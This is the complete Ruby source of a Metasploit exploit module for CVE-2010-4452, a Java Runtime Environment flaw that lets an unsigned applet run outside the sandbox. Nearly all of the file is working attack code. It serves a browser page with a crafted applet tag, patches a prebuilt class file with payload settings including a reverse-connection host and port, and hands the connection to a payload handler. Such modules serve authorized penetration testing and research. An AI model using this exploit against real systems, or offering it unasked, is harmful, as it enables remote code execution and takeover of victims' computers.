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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize( info = {} )
super( update_info( info,
'Name' => 'Sun Java Applet2ClassLoader Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in the Java Runtime Environment
that allows an attacker to run an applet outside of the Java Sandbox. When
an applet is invoked with:
1. A "codebase" parameter that points at a trusted directory
2. A "code" parameter that is a URL that does not contain any dots
the applet will run outside of the sandbox.
This vulnerability affects JRE prior to version 6 update 24.
},
'License' => MSF_LICENSE,
'Author' => [
'Frederic Hoguin', # Discovery, PoC
'jduck' # Metasploit module
],
'References' =>
[
[ 'CVE', '2010-4452' ],
[ 'OSVDB', '71193' ],
[ 'ZDI', '11-084' ],
[ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
],
'Platform' => [ 'java' ],
'Payload' =>
{
'Space' => 20480,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => '-find'
}
},
'Targets' =>
[
# OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
# FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
}
],
# Native payloads aren't currently supported (only work with jar/war)
=begin
[ 'Windows x86',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
}
],
=end
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 15 2011'
))
register_options(
[
# This is the default for a 32-bit Windows install
OptString.new('LIBPATH', [ false, "The codebase path to use (privileged)",
"C:\\Program Files\\java\\jre6\\lib\\ext"]),
])
end
def exploit
path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
@java_class = nil
File.open(path, "rb") { |fd|
@java_class = fd.read(fd.stat.size)
}
if not @java_class
fail_with(Failure::Unknown, "Unable to load java class")
end
super
end
def on_request_uri(cli, request)
#print_status("Received request: #{request.uri}")
jpath = get_uri(cli)
#print_status(jpath)
# Do what get_uri does so that we can replace it in the string
# This could proably use the Host header from the request
host = Rex::Socket.source_address(cli.peerhost)
host_num = Rex::Socket.addr_aton(host).unpack('N').first
code_url = jpath.sub(host, host_num.to_s)
codebase = "file:" + datastore['LIBPATH']
config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
# The java payloads decide to be reverse if LHOST is set.
config << "LHOST=#{datastore['LHOST']}\n" if datastore['PAYLOAD'] =~ /reverse/
config_off = 0x10e
cn_off = 0x2f76
case request.uri
when /\.class$/
# NOTE: the payload for this module is implemented in the .class file directly.
#
# This is due to the following:
# 1. The file must be a single .class file
# 2. The class inside must derive from Applet
#
# As such, we do not use the traditional payload generation facilities.
# However, we call the following so that bind payloads will properly
# connect to the client instead of using RHOST
p = regenerate_payload(cli)
print_status("Sending .class file")
cls = @java_class.dup
cls[config_off,2] = [config.length].pack('n')
cls[config_off+2,8] = config
cn_off += (config.length - 8) # the original length was 8 (CONFIGZZ)
cls[cn_off,2] = [code_url.length].pack('n')
cls[cn_off+2,7] = code_url
#File.open('ughz.class', 'wb') { |fd| fd.write cls }
send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
handler(cli)
else
html = <<-EOS
<html>
<body>
<applet codebase="#{codebase}" code="#{code_url}" />
</body>
</html>
EOS
print_status("Sending HTML")
send_response_html(cli, html)
end
end
end